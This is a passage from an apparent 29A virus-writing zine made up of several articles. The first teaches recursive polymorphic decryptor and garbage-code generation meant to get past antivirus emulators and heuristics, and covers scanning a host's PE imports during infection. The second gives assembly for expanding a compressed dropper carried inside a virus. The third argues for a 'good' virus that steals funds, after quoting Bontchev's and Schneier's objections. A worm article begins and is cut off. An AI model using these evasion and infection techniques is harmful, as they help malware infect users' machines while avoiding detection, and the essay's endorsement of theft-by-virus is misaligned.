ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
The number of branches created by this function is going to be
2^MaxRecursivityLevelAllowed, so take care, since this function can
generate a huge decryptor without many coding (I recommend 3 or 4 levels
of recursion, which would generate 8 or 16 branches).

6. Â The last recursivity level allowed Â


ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
When you arrive to the last level of recursivity, then you code the
decryption algorithm (just the decryption instruction, the index
modification, the counter inc/decrementation, etc (all mixed with
garbage) and all that. Make sure you are doing this very randomly,
because you are coding this part 2^MaxRecursivityLevelAllowed times
(usually 8 or 16), and if you code this very similar to the others, it's
not polymorphism at all.
When you arrive to the comparision/cond_jmp pair (the one which loops
to continue decryption if the encrypted part isn't decrypted yet), you
have to code the comparision and leave the jump uncompleted, since we
must wait to the complete return of "DoBranch" to assure that all
branches are coded. So, we store this address into the other prepared
array, JumpsToComplete, just like we made with the ArrayOfJumps.
Then insert some garbage, code the jump to the decrypted part and
RET.

7. Â The complete return of "DoBranch" Â


ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
After the return of the first call to DoBranch, we have to complete
the jumps we stored in JumpsToComplete. This time we are going to use
the two arrays that we constructed while coding all branches. All the
power of the technique is based on this:

1) Take the first address in JumpsToComplete


2) Select randomly an address in ArrayOfJumps
3) Complete the address from JumpsToComplete with the other address,
so we have finally a conditional jump to one place of the tree in a
random way.
4) Do it with all the addresses in JumpsToComplete

When we finish, we'll have a decryptor that its behaviour is exactly the same
as a normal one, but that you never know which branch of code is going to be
executed every time, since when you jump to loop, you perform a random number
of random comparisions and conditional jumps that will drive you to a random
decryption part. Due to the fact that every final part of the branch does the
same than the others, we don't care which one becomes executed every time, so
we broke the linearity of execution and now, "from the outside", the decryptor
resembles a normal application following its conditions, not a decryption
loop.

1.3 Internal recursivity


------------------------
We have seen that Branching requires recursivity for an easy coding of the
technique, but since we have done it, we can make the entire engine oriented
to recursive functions, specially to generate indirect register/memory
modifications. We are going to code some usual functions recursively, adding
a variable that I call "recursivity level", which is a variable that is
increased every time the function is called, and it's used to control the
active instances of this function (so, when we arrive to a pre-decided number
of callings, then we avoid calling this function recursively again). Let's see
the MOV Reg,Value instruction and what happens if we code the function that
generates this type of instruction in a recursive way:

1. Decide the MOV types


-----------------------
Normally I use MOV Reg,Value, PUSH Value/POP Reg and LEA Reg,[Value],
but it's up to you. There is another opcode for MOV Reg,Value (C7 C?),
but try to avoid it since no compiler will generate it (although is
completely correct for the processor, since it's the opcode for
MOV DWORD PTR [Address],Value with the register-selection bits activated)
since there are more optimized ways of doing it (concretely, the B?
one-byte opcodes for direct value MOVs).
Now that we have this MOVs, we select them as a "last chance": we use
them, for example, in a 25% of callings, and when we are in a quite deep
recursivity level (5 or 6 is enough, I think). We'll call this function
"DoMOVRegValue". So, at the beginning, we can put:
inc byte ptr [RecursivityLevel]
cmp byte ptr [RecursivityLevel], 5
jae MakeNoRecursive
...

And, to finish, we jump here instead of making RET:

Return: dec byte ptr [RecursivityLevel]


ret

2. Not only this function, but more!


------------------------------------
To increase complexity of generated code, we have to make other functions
that follow the same method as DoMOVRegValue. We can code DoMOVRegReg,
DoMOVRegMem (this will make a MOV Reg,[Address] or similar), DoMOVMemReg,
and the modifications (DoADDRegValue, *SUB*, *XOR*, etc.). We have to
be careful with this ones, and we have to be sure that there's no error
in its code, as we are going to code it all together at the same time
(well, I prefer this method, but you can make it easier at first and
increase the function's internal options when you have tested it). Then,
DoMOVRegValue won't generate only the direct movings that we decided
before, but we have more chances to make a value moving, for example:

; DL=Register to use
; EAX=Value to move to the register

call GiveMeABufferAddress
; Now, EBX=Buffer address where we can store a dword
call DoMOVMemValue ; Using EBX as address and EAX
; as value
call DoMOVRegMem ; Using EBX as address and DL
; as register
ret

This would be a direct case, but what if we do this?:


call GiveMeABufferAddress
call AdjustMemToValue
call DoMOVRegMem

AdjustMemToValue:
mov ecx, eax
call Random ; EAX=Random number
sub ecx, eax
xchg ecx, eax
call DoMOVMemValue ; Move EAX to [EBX]
call MakeGarbage
mov eax, ecx
call DoADDMemValue ; Add EAX to [EBX]
ret

Of course, we don't use only ADD, but XOR, SUB, etc. And we don't use
this only in memory addresses, so we can use it in another chance:

(this is inside DoMOVRegValue and we arrive here randomly, since there


are other options, of course):
call AdjustRegToValue
ret

AdjustRegToValue:
mov ecx, eax
xchg ecx, eax
call DoMOVRegValue ; Recursive call
call MakeGarbage
mov eax, ecx
call DoADDRegValue
ret

Then, possibilities are infinite. We can combine all the functions we


made before to generate a quite complex MOVing. We can make the same
with DoMOVRegReg (taking as not-recursives, for example, MOV Reg1,Reg2,
LEA Reg1,[Reg2] or PUSH Reg2/POP Reg1). We can use also other functions
to increase this: DoPUSHReg, DoPUSHMem, etc. Let's see an example of deep
recursivity:

1 - We call DoMOVRegValue, and we arrive to:


call GiveMeABufferAddress
call AdjustMemToValue
call DoMOVRegMem
jmp Return

2 - So, we execute AdjustMemToValue, which internally calls to


DoMOVMemValue and later to DoADDMemValue. Inside DoMOVMemValue
we arrive to:
call DoPUSHValue
call DoPOPMem
jmp Return

3 - Executing DoPUSHValue, we arrive here:


call GiveMeABufferAddress
call AdjustMemToValue
call DoPUSHMem
jmp Return

Buf! We are very deep now in recursive instances of that


functions. After a while, it'll exit from AdjustMemToValue, and
maybe it called other recursive functions that again called
AdjustMemToValue, so that's why we have to control the number
of recursive calls, since it can generate an enormous amount
of code without a great effort. After doing DoPUSHValue, it
executes DoPOPMem which strategically isn't recursive (and
logically too, since there isn't a DoMOVMemMem instruction).

4 - After returning completely from AdjustMemToValue, the function


DoMOVRegMem will be executed. This function can also be very deep
in recursivity calls, for example:
call DoPUSHMem
call DoPOPReg
jmp Return
We know that DoPUSHMem doesn't make recursive calls, but the next
function, DoPOPReg, can make them, for example:
call GiveMeABufferAddress
call DoPOPMem
call DoMOVRegMem
jmp Return

Again, more recursive calls :).

After this, you can see how powerful is the recursive code generation, and how
a simple MOVing can derive in a quite complex set of assignations from to
memory/registers, giving as a final result the desired value in the desired
register. Many functions can be done in this way, and later we'll see its
application to make garbage.

ÚÄÄÄÄÄÄ---úú .
| 2. Don't give a chance to AVs |
` úú--ÄÄÄÄÄÄÄÙ
But even the most recursive engine in the world can make all the work
worthless if it's detected heuristically because it put a strange instruction
or a quite common polymorphic structure, like:
JMP Next
Subroutine:
...
ret
Next: call Subroutine
or similars, because no normal application does that.

2.1 Coherent decryptor structures


---------------------------------
What to do, then? It's easy: just have an array of "inconcluded calls", I
mean: you code the CALL instruction, but you don't code the subroutine yet.
Then, you save the address of this instruction in an array and upon a random
decision, or at the end of the decryptor, the engine generates the subroutines
and completes the CALLs that are in the array to make them point to the new
generated subroutines. Also a good way is pre-generate some subroutines before
the entrypoint of the decryptor, and make calls to them (combining this type
of CALLing with the "inconcluded call" type).

With this, the decryptor looks more like a compiler-generated application,


at least using CALL instructions. Other very polwerful thing is using a stack
frame inside the generated subroutines: you make PUSH EBP / MOV EBP,ESP at
the beginning and POP EBP at the end of the subroutine and then you can't
determine in a first sight if the decryptor is a product of a compiler or not.
Even better if you use that stack frame to retrieve values! :)

Other thing: avoid this:


JMP Label
x Random bytes
Label:

Do you think it's normal to find this in a normal application? Then, the
emulator thinks the same :). Avoid this and avoid inserting direct random
data without being linked to any direct instruction.

2.2 Opcodes to avoid


--------------------
Have you ever scanned a virus that, although extremely polymorphic, inserts
one-byte instructions like CMC, STI, etc.? If you have tried it with AVP, for
example, you maybe noticed that automatically the antivirus enters in deep
scan. Why? Because it's HIGHLY suspicious to use these instructions. Who uses
CMC nowadays? And not only that, since the random generator trends to insert
quite a lot of this dummy instructions, and the antivirus emulator knows that
fact, so when it founds a more or less big number of these instructions (and
some instructions directly, even if there is only one), it decides that the
file is so suspicious that maybe worth the time to enter in deep scan. Maybe
it doesn't found anything, but an average user can think that that file has
anything more than the original application.

This advide is also for some 16 bits instructions under win32 applications.
While coding the TUAREG engine, I put nearly all the instructions the garbage
generator could generate to use 8, 16 or 32 bits, and then, when scanning with
AVP, the emulator switched always to deep scan. After thinking about it, I
removed the generation of some 16 bits instructions and AVP didn't make that
again. I don't know which instructions make AVP to activate that heuristic
flag, but invariably I recommend to use as less as possible 16 bits
instructions.

ÚÄÄÄÄÄÄ---úú .
| 3. Advanced garbage generation |
` úú--ÄÄÄÄÄÄÄÙ
Now, we are going to enter in one of my favorite subjects: garbage generation.
My opinion is that the main power of a polymorphic engine is the function to
generate garbage, since the garbage is the code that makes the emulators to
give up tracing or help them to determine the nature of the program. So, the
more normal the garbage seems, the less suspicious the decryptor seems, and
the more complex the garbage is, the less an emulator can enter into the
decryptor to emulate. Let's see some types, although there aren't all
(obviously I'm not going to explain the easy ones). Imagination also counts!

3.1 Memory accesses


-------------------
Nowadays is a must to have it in an engine, if one wants to make it complex.
Which type of application doesn't make any random-access memory operation in
the first 300 bytes? Only a very weird program or an infected program with an
attached polymorphic virus that doesn't implement memory writing instructions
can do this (besides decryption process).

But the fact is that, while in MS-DOS we had all the memory accesible, and we
could read from everywhere, this isn't true for win32, and an attempt to read
from "everywhere" will cause, in the great majority of times, an exception.
Writing is much more restrictive under win32, because we can only write on
the sections we defined as WRITABLE on the PE header (although we want to
generate an exception, of course :). So, we can use some tricks to have frames
of memory to read and/or write indiscriminatedly.

In win32 executables, we have a section that exists in nearly all them: the
".bss" section. This section has a physical size (in file size) of 0, but
virtually can be quite big (its size is normally 1000h bytes at least, but in
huge programs can arrive to 64K or more). We can use that section to read
and/or write anything we want, but always if we make our virus to execute at
first, not doing Entry-Point Obscuring and such things, since the application
would set all the void data in the section to whatever it needs. There is
another solution, and is to use the void holes in the virus that we use to
retrieve, for example, the current directory with GetCurrentDirectory or
similar functions. Since we don't need that fields until the virus is
executing, we can use that holes, if they are big enough, as frames of memory
in the same way as .bss, where we can read and write things.

So, once we have that frames, and we are sure that at least 256 or 512 bytes
are free to do animalities :), we can code a function to retrieve a random
memory address, for example:

call Random
and eax, 0FCh
add eax, [AddressOfMemoryFrame]
ret

That will return in EAX a memory address, which moreover is aligned in a


dword boundary.

3.2 API calls


-------------
OK, so after coding a good decryptor structure and memory accesses, to fuck
up completely any initial suspiciousness about the "undesired traveller", we
insert API calls.

It's not easy to put them, and we only can call those ones that we know how
to call, so we have to have information about all them (there isn't a
"generic" way of calling them), and moreover we need to find and scan the
import directory of the victim host while infecting it, so we have to deduce,
from the virtual address (since we only know that about the import directory
from the PE header), which physical address is, and then from the physical
address convert to virtual address to have the imported API calling address.

The method I follow is the next, assuming we have the host mapped in memory:

1) We get the virtual address of the import directory, which is


located at PE_Header+80h.

2) Now, we scan all sections of the file to find in which section


that virtual address will be.

3) After finding the section, we subtract the virtual address of the


section to the virtual address of the import, to get the relative
position of the import directory in that section, and we add the
result to the physical address of the section to get the physical
address of the import.

4) Now, we save the values we have obtained in the process, and we


begin to scan the mapped import directory as if it were virtual,
since later the program will be in that way in memory.

5) We scan the imported modules and we look for known functions, but
taking in account that every time we get an RVA first we have to
convert it to physical (this applies while getting values from the
array of RVAs to the names of the functions), so, having the RVA,
we subtract the RVA of the section and we add the physical address
of that section, so we get the physical address of the name of the
function.
6) Then, when we find the desired functions, we get the order in the
array of imported addresses. We add to that number the virtual
address of that array in order to get the virtual address where the
imported address will be stored.
7) We save that number, and we continue searching for more functions.

After that, we get the addresses to the import where the virtual addresses to
the functions will be stored. Now, a call like CALL [Obtained_Address] will
make a call to the API. Just be careful with the parameters and with the
functions were a buffer is required.

Another thing: as Micro$oft programmers are dumb or worse, there are functions
that can hang the application, like GetModuleHandleA. I've tried to pass to it
a random pointer as the module name to get the handle of, but then an
exception occurs, instead of returning an error telling "no valid string" or
"module not found" or something like that, so be careful with some functions.
3.3 Recursive garbage functions
-------------------------------
Before we saw the potential of recursive calls to make things, and now we
apply that to garbage. There are some types of garbage that we can make (and
we must make) in a recursive way, like CALLs, random loops and some more. Here
I'll explain CALLs and random loops.

Before I explained a method of how to make CALLs without making suspicious


structures, and I told that, later, at the end of the decryptor (for example),
you can construct the subroutines that are called by that CALLs. To make the
subroutines, we should use recursivity, so we have to code the DoGarbage
function in a recursive way, I mean, the function can be called by itself.
This has to be made to make better garbage inside the CALLs, and moreover in
that way in that subroutines we can have other CALLs, also. But be careful,
because something like this can happen:

Subroutine1:
...
call Subroutine2
...
ret

Subroutine2:
...
call Subroutine1
...
ret

That situation can produce a hang of the decryptor, and thus the application
never executes. To avoid that, we can use arrays to store "levels" of calls,
in this way:

CallsLevel1 db x dup (?)


CallsLevel2 db x dup (?)
CallsLevel3 db x dup (?)
...

When we enter in the CALL generation part of the engine, we must increase a
variable, like an internal recursivity level, to control the level of call
that we are generating now, in a way that makes that Level 1 calls never will
generate a call to Level 1 or upper, and the same for Level 2 and so on. In
thas way we avoid situations like the one above, since a subroutine won't
call other subroutine which will drive execution to the same subroutine again.

Other recursive garbage generation is the random loop generation. We can put
little, annoying loops that do nothing but that, loop (just seven or eight
times, nothing that last very long). Since a random loop inside a random loop
is equal to a geometrical increment of the loop duration, better if we avoid
them, having a variable telling "I'm in a loop now, so don't make another".
The same applies for CALLs, since we code them later, not in that moment, and
maybe we put another loop inside the generated subroutine, which would produce
the same problem. So, when generating looping code, avoid making other loops
or calls. To make the loop, of course, we call to DoGarbage to fill some
looping space (a void loop isn't normal, you know).

And, as you could deduct, maybe, we can use DoMOVRegValue and all those
functions that we coded to generate more garbage: just take a garbage register
and a random number and use that functions.

ÚÄÄÄÄÄÄ---úú .
| 4. Last words |
` úú--ÄÄÄÄÄÄÄÙ
Well, this article is shorter than I expected, but I hope it'll be useful for
you to bring you ideas while coding your new polymorphic engine. The great
majority of ideas I expose here have been used in the TUAREG engine, and
sometimes in the source code of the TUAREG I refer to this article to get the
explanation of some techniques. Laterz!

ÄÄÄÄÄ---úú
The Mental Driller / 29A
ÄÄÄÄÄ---úú
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
LZEXPAND Tutorial
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
by Bumblebee/29a

Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄ

This tutorial explains how to expand a compressed file using win API
and MS COMPRESS.EXE. It is a lame tool to compress files with a LZ algo
and the format required by LZEXPAND.DLL. Look at tools section at this
zine and you'll find COMPRESS.EXE there.

We can compress a dropper, as example, and put inside your virus body.
Due the dropper was compressed using an external program we don't need
to care about the compression algo. When we need the file uncompressed
we don't need to carry the expand routines inside virus body because
winshit provides us a simple way to expand it using standard win32 API.

Even LZ77 doesn't gives us wonder compression ratios it's interesting


check it coz it could work as encryption and may be your huge 20 kbs
infector that has a dropper for irc will reduce it's size in some kbs.
Test it and if you feel it's worth it: let's LZEXPAND it!

What is a LZEXPAND.DLL?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

It's simply a library that contains some functions to manage the LZed
files within our win32 appz.
Let's check what is provided:

LZCopy Copies a compressed file into an uncompressed one


LZOpenFile Opens a compressed file and returns a handle
LZClose Closes a file handle by LZOpenFile

There are other functions but we are going to use only those.

Get LZEXPAND.DLL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

We need to load LZEXPAND.DLL library and get the address of the func
in order to use them. It is done as usual. Notice we call LZ32.DLL coz
we are running a 32 bits app and LZEXPAND.DLL is a lame NE file :)
Let's show ya an example:

; ebp assumed to be delta offset


; some API addr required:
; LoadLibraryA GetProcAddress
LzExpandZs db 'LZ32.dll',0 ; this is the wrapper for 32bits
LzExpandHnd dd 0
LzFuncZs0 db 'LZCopy',0
LzFuncZs1 db 'LZOpenFileA',0
LzFuncZs2 db 'LZClose',0
LzFuncZsA dd offset LzFuncZs0,offset LzFuncZs1
dd offset LzFuncZs2
LzFuncAddr:
_LZCopy dd 0
_LZOpenFile dd 0
_LZClose dd 0
lea eax,LzExpandZs+ebp
push eax
call dword ptr [_LoadLibraryA+ebp]
or eax,eax
jz LzExpandNotLoaded ; failed loading dll
mov dword ptr [LzExpandHnd+ebp],eax

lea esi,LzFuncZsA+ebp ; array func stringz


lea edi,LzFuncAddr+ebp ; array to store addresses
mov ecx,3
GetLzFuncLoop:
mov edx,dword ptr [esi]
add edx,ebp
push esi edi ecx
push edx ; api strz
push dword ptr [LzExpandHnd+ebp] ; dll handle
call dword ptr [_GetProcAddress+ebp]
or eax,eax
pop ecx edi esi
jz LzExpandFuncNotFound ; failed getting api
mov dword ptr [edi],eax
add esi,4
add edi,4
loop GetLzFuncLoop

Do not copy and paste. Understand it!


And remember to call FreeLibrary when LZEXPAND work is done. I think
can be easily translated to HLL. Only asm example :) I'm sure this code
is very basic and you already know it.

Using LZEXPAND.DLL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

A LZEXPAND session goes as folows:

1. LZOpenFile source (compressed)


2. LZOpenFile destination (where to place uncompressed)
3. LZCopy source over destination
4. LZClose source
5. LZClose destination

Let's see the funcs protos:

int LZOpenFileA(LPTSTR filename,LPOFSTRUCT reOpenBuf, WORD style)


-----------------------------------------------------------------

filename: The zero string of the file to open.


reOpenBuf: Pointer to a struct that will be filled. It's used for
for re-open matters...

OFSTRUCT struc
cBytes db ? ; lenght of the struct
fFixedDisk db ? ; non zero if file on HDD
nErrCode dw ? ; DOS error code if open fails
Reserved dw ?,?
szPathName db 128 dup(?) ; path name
OFSTRUCT ends

style: Action to take.

OF_READ equ 0000h


OF_WRITE equ 0001h
OF_CREATE equ 1000h
OF_...

The func returns a file handle or a valid handle on error.

long LZCopy(int source, int destination)


----------------------------------------

source: a file hadle from LZOpenFile with OF_READ style.


destination: a file hadle from LZOpenFile with OF_WRITE style.

Returns the size of the destination file and < 0 value for error.

void LZClose(int handle)


------------------------

handle: handle of file from LZOpenFile to close.

Here follows an example that expands a file called file.tx_ into


a file.txt. Notice that delta offset is not needed so ebp has been
removed. I tried to use previous pieze to get APIs from LZEXPAND.DLL
with minium changes.

; cut here ----------------------------------------------------------------


;
; This is an exaple of the use of LZEXPAND.DLL
; Notice the ebp stuff is removed due is not required!
; Expands file.tx_ to file.txt.
; Coded by Bumblebee/29a
;
.486p
locals
.model flat,STDCALL

extrn ExitProcess:PROC
extrn LoadLibraryA:PROC
extrn GetProcAddress:PROC
extrn FreeLibrary:PROC

OFSTRUCT struc
cBytes db ? ; lenght of the struct
fFixedDisk db ? ; non zero if file on HDD
nErrCode dw ? ; DOS error code if open fails
Reserved dw ?,?
szPathName db 128 dup(?) ; path name
OFSTRUCT ends

OF_READ equ 0000h


OF_WRITE equ 0001h
OF_CREATE equ 1000h
.DATA

LzExpandZs db 'LZ32.dll',0 ; remeber: use the wrapper


LzExpandHnd dd 0
LzFuncZs0 db 'LZCopy',0
LzFuncZs1 db 'LZOpenFileA',0
LzFuncZs2 db 'LZClose',0
LzFuncZsA dd offset LzFuncZs0,offset LzFuncZs1
dd offset LzFuncZs2
LzFuncAddr:
_LZCopy dd 0
_LZOpenFileA dd 0
_LZClose dd 0

ofStruct OFSTRUCT <?>

file_in db 'file.tx_',0
file_out db 'file.txt',0
hnd_in dd 0
hnd_out dd 0

.CODE
inicio:
push offset LzExpandZs
call LoadLibraryA
or eax,eax
jz LzExpandNotLoaded ; failed loading dll
mov dword ptr [LzExpandHnd],eax

lea esi,LzFuncZsA ; array func stringz


lea edi,LzFuncAddr ; array to store addresses
mov ecx,3
GetLzFuncLoop:
mov edx,dword ptr [esi]
push esi edi ecx
push edx ; api strz
push dword ptr [LzExpandHnd] ; dll handle
call GetProcAddress
or eax,eax
pop ecx edi esi
jz LzExpandFuncNotFound ; failed getting api
mov dword ptr [edi],eax
add esi,4
add edi,4
loop GetLzFuncLoop

push OF_READ
push offset ofStruct
push offset file_in
call dword ptr [_LZOpenFileA]
cmp eax,0
jb LzExpandFuncFailed
mov dword ptr [hnd_in],eax

push OF_WRITE OR OF_CREATE


push offset ofStruct
push offset file_out
call dword ptr [_LZOpenFileA]
cmp eax,0
jb LzExpandFuncFailed
mov dword ptr [hnd_out],eax

push dword ptr [hnd_out]


push dword ptr [hnd_in]
call dword ptr [_LZCopy]

push dword ptr [hnd_out]


call dword ptr [_LZClose]

push dword ptr [hnd_in]


call dword ptr [_LZClose]

LzExpandFuncFailed:
push dword ptr [LzExpandHnd]
call FreeLibrary

LzExpandFuncNotFound:

LzExpandNotLoaded:
push 0h
call ExitProcess

Ends
End inicio
; cut here ----------------------------------------------------------------

As you can see it's very easy :)

Where to use it
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

As i said in the introduction LZ algo that uses MS Compress and LZEXP


is not very good. We will get better compression ratio with huge files.
The only way to know if we can use it in our projects it's just doing
some tests. Let me show you a nice example of LZEXPAND usage:

We have a two-parts virus:


a. PE infector coded in asm
b. Word Macro

If our PE infector is less than 4 kbs there is nothing to compress


but if the macro part is about 100 kbs... :). The idea is to compress
the word doc and store compressed into the PE part. When the PE pieze
runs it drops an uncompressed sample of the doc. The doc is a little
installer that creates some macroz and... blah blah.
We get:
Inside PE files Macros
/----------------------------------------\
With LZEXPAND | 4 + n kbs | 100 + (4+n) kbs |
Without LZEXPAND | 4 + 100 kbs | 100 + (4+100) kbs |
\----------------------------------------/

With n less than 100 kbs. I've tested with Plage2000 and i've got:

Un-compressed: 102.400 bytes


Compressed: 32.597 bytes

As you can see, in this example we can use LZEXPAND very fine.

Last words
ÄÄÄÄÄÄÄÄÄÄ

Micro$oft Winblows if full of shit we can use for our own profit. We
only need to see what it brings and just get it. Now you can use simple
compression in your projects with the APIs provided by M$.

I hope you enjoy this little article. Nice coding!

The way of the bee


Why a "good" virus is good idea

by VirusBuster/29A

Back in 1997, the well known antivirus expert Vesselin Bontchev wrote
an article giving twelve reasons to proof viruses are always a bad idea.

That's too pedantic for my vx taste, then i decided to write this article
explaining why a "good" virus can be a good idea.

First, we will hear what "good thinking minds" have to say about the
question. Here we have Vesselin's article with his 12 reasons:

--- start ---

A dozen reasons why a "good" virus is a bad idea

by Vesselin Bontchev

1. It is unethical to modify somebody's data without his/her knowledge.


In several countries this is also illegal.

2. Modifying a program could mean that the owner of the program loses
his/her rights for technical support, ownership, or copyright.

3. Once released, you have no control on how the virus will spread; it
may reach a system about which you know nothing (or which could have
even not existed at the time the virus is created) and on which it
might cause non-intentional damage. Even if the bug is discovered, it
would be extremely difficult to find all replicants of the virus and
apply the appropriate fix to them.

4. A bad guy could get a copy of the virus and modify it to include
something malicious. Actually, a bad guy could trojanize -any-
program, but a "good" virus will provide the attacker with means to
transport his malicious code to a virtually unlimited population of
computer users.

5. The anti-virus programs will have to distinguish between "good" and


"bad" viruses, which is essentially impossible. Also, the existence of
useful programs which modify other programs at will, will make the
integrity checkers essentially useless, because they will be able only
to detect the modification and not to determine that it has been
caused by a "good" virus.

6. A virus will eat up disk space and time resources unnecessarily while
it spreads.

7. A virus could contain bugs which might damage something or harm


somebody. Any program could be buggy, but the virus is a
self-spreading buggy program which is out of control.

8. A virus will disable the few programs on the market which check
themselves for modifications and halt themselves if they have been
changed, thus performing a denial-of-service attack.

9. Anything useful that could be done by a virus, could also be done with
a normal, non-replicating program.

10. A virus steals control of the machine from the user and ruins the
trust that the user has in his/her machine - the belief that s/he can
control it.

11. Declaring some viruses as "good" will just give an excuse to the crowd
of virus writers to claim that they are actually doing "research".

12. For most people the word "computer virus" is already loaded with
negative meaning. They will not accept a program called like that,
even if to claims to do something useful.

--- end ---

Here you can read a more recent article talking about the same matter...

--- start ---

Can viruses be used for good instead of evil?

by Bruce Schneier and Elizabeth Zwicky

September 15, 2000

(IDG) -- H.L. Mencken once said, "For every human problem, there is a neat,
simple solution; and it is always wrong."

That axiom applies to the cool-sounding idea that computer-security gurus


propose: Why don't we use viruses for good instead of evil? As long they're
infecting everyone's computer, why don't we distribute them to patch
vulnerabilities, update systems and improve security?

A virus is made of two parts: a propagation mechanism and a payload. The


propagation mechanism spreads the virus from computer to computer. The
payload is what it does once it gets to a computer. The idea is to create
viruses with beneficial payloads and let them propagate.

This is tempting for several reasons. One, turning a weapon against itself is a
poetic concept. Two, it's a technical challenge that lets ethical programmers
share in the fun of designing viruses. And three, it sounds like a promising
technique to solve one of the nastiest security problems: patching, or
repairing computer vulnerabilities.

Right now, the best patching techniques involve a lot of negotiation and
manual labor -- which nobody enjoys very much, especially computer
technicians.

Beneficial viruses seem like a nice remedy: You turn a byzantine social
problem into a fun technical solution. You don't have to convince people to
install patches and system updates. You just use the technology to force them
to do what you want.

Therein lies the problem. Patching other people's machines without annoying
them is good; patching other people's machines without their consent is not.

Beneficial viruses are a simple solution that's always wrong. A virus is not
"bad" or "good" based on its payload. Viral propagation mechanisms are
inherently bad, and giving them beneficial payloads doesn't help. A virus
isn't a tool for any rational network administrator, regardless of intent.

A good software distribution mechanism has the following characteristics:

People can choose different options.


Installation is adapted to the host.
It's easy to stop an installation in progress, or uninstall the software.
It's easy to know what has been installed where.

A successful virus, on the other hand, is installed without a user's consent.


It has a small amount of code and it self-propagates, automatically spreading
until halted.

These characteristics are incompatible with those of software distribution.


Giving the user more choice, making installation flexible and universal,
allowing for uninstallation -- all of these make it harder for the virus to
propagate. Designing a better software distribution mechanism makes it a
worse virus. Making the virus quieter and less obvious to the user, smaller
and easier to propagate, and impossible to contain add up to lousy software
distribution.

All of this means that viruses are easy to get wrong and hard to recover
from. Once a virus starts spreading it's hard say what it will do. Some
viruses have been written to propagate harmlessly, but wreaked havoc --
ranging from crashed machines to clogged networks -- due to bugs in their
code. Some viruses were written to do damage and turned out to be
harmless, which is even more revealing.

Intentional experimentation by well-meaning system administrators proves


that in your average office environment, the code that successfully patches
one machine won't work on another. Indeed, sometimes the results are
worse than any threat from an external virus. To combine a tricky problem
with a distribution mechanism that's impossible to debug and difficult to
control is risky. Every system administrator who's ever automatically
distributed software on his or her network has had the "I just automatically,
with the press of a button, destroyed the software on hundreds of machines
at once!" experience. And that's with systems you can debug and control;
self-propagating systems like viruses won't let you shut them down when you
find the problem.

Patching systems is fundamentally a human and social problem. Beneficial


viruses are a neat, simple technical solution -- and Mencken was correct.

--- end ---

Obviously, i can not discuss viruses are basically pernicious, but i can
not accept the remaining idea in those two articles: viruses are always
bad... they can not be used for good purposes.

VXers are always the bad buys of the movie... or maybe not... I can, and
i'll proof that a virus can be a good thing... maybe not legal, but ethical
and moral correct.

Just read the next text:

--- start ---

"The weak point of the speculative capitalism is the financial system.


More dangerous than the Y2K bug, would be a virus that modify all the
unbackeds. A virus that would alter the titularity of the stock-markets.
A virus that redirects the funds of the weapon manufacturers to the counts
of the humanitary organizations. A virus in the roulette of the system,
the tricked ball that would make the bank blow up. The backdoor is in
Wall Street. The followers of the empire will call him criminal, but the
human able to create that virus has a reserved place in the history
books."
(Carlos S nchez Almeida from "Revoluci¢n", 15th october 1999)

--- end ---

In the above text we find the key for the "good" virus... "A virus that
redirects the funds of the weapon manufacturers to the counts of the
humanitary organizations."

That sounds to Robin Hood: steal to the richs to give to the poors.

Robin Hood is considered a hero... The virus coder that writes such virus,
not only has reserved a place in the history books, he will be also
considered a hero.

As final thought i'ld like to say that the world is needing badly "good"
viruses.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Wormz in 21st century ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Thanx goez to ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

salo, the hacker from Slovakia for his article "DOYOULOVEME?" published in
hackerz zine Prielom. it inspired me and many thoughts in this article are
taken from there.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Introduction ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

still remember the ILOVEYOU worm? yeah, that famous bug that become most
wide-spreaded in the world and made the biggest "damages"... the spring 2000.

after the scandal one polish man Zalewski (well known from bugtraq security
conferension) decided to show ppl this virus ain't anything to fear of.
from bugtraq (sorry for not exact translation):

"media supported by altavista "experts" showed us apocalyptic vision of damage


caused by stupid m$ outlook/vbs worm called "ILOVEYOU". calculated damages
were incredible - 10 bilion dollarz invested to "damage repairing",
especially if you will look at the growing prize of these companies on the
market, it soundz silly. stupid vbs application that can't spread itself without
looser click-on-me! interaction and is limited on the only one operating system
designed for desktop computerz... worm that will spread itself to ppl from your
e-mail address book and in its original version destroys mp3 filez on the disk.
and you call it dangerous? stop being funny..."

I fully agree with him. why is the world full of stupid macroviruses and vbs
wormz? 90% of all viruses has nothing new to show and they were coded by
cut&paste algorithm. do you believe this is the real danger for computer world?
we all would like to code some superb worm that could cause world-wide infection,
that could be able to spread very fast, that could stay undetectable for very
long time and enable access to infected computer for you, maybe with many more
features. well, why they exist so many lame wormz working still on the same
algorithm:

- find some e-mail addresses


- send there itself
- delete something

is there a future in such wormz? I dont think so...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Anathomy of "perfect worm" ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

